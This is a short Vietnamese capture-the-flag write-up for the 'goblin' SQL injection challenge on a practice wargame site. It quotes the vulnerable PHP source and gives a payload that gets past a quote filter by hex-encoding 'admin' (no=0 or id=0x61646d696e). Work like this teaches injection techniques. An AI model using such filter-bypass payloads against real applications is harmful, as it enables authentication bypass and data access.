https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php

query : **select id from prob_goblin where id='guest' and no=**

```php
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__);
?>
```

los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=1%20or%20id=%27admin%27

No Quotes ~_~

Thử với no=1 or id = ‘admin’ thì bị lỗi filter.

los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0%20or%20id=0x61646d696e

query : **select id from prob_goblin where id='guest' and no=0 or id=0x61646d696e**

Hello admin

GOBLIN Clear!

```php
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__);
?>
```

Một trong các cách phổ biến để bypass là hex encode giá trị. Thử với payload

no=0 or id = 0x61646d696e. Trong đó 61646d696e là hex enode của admin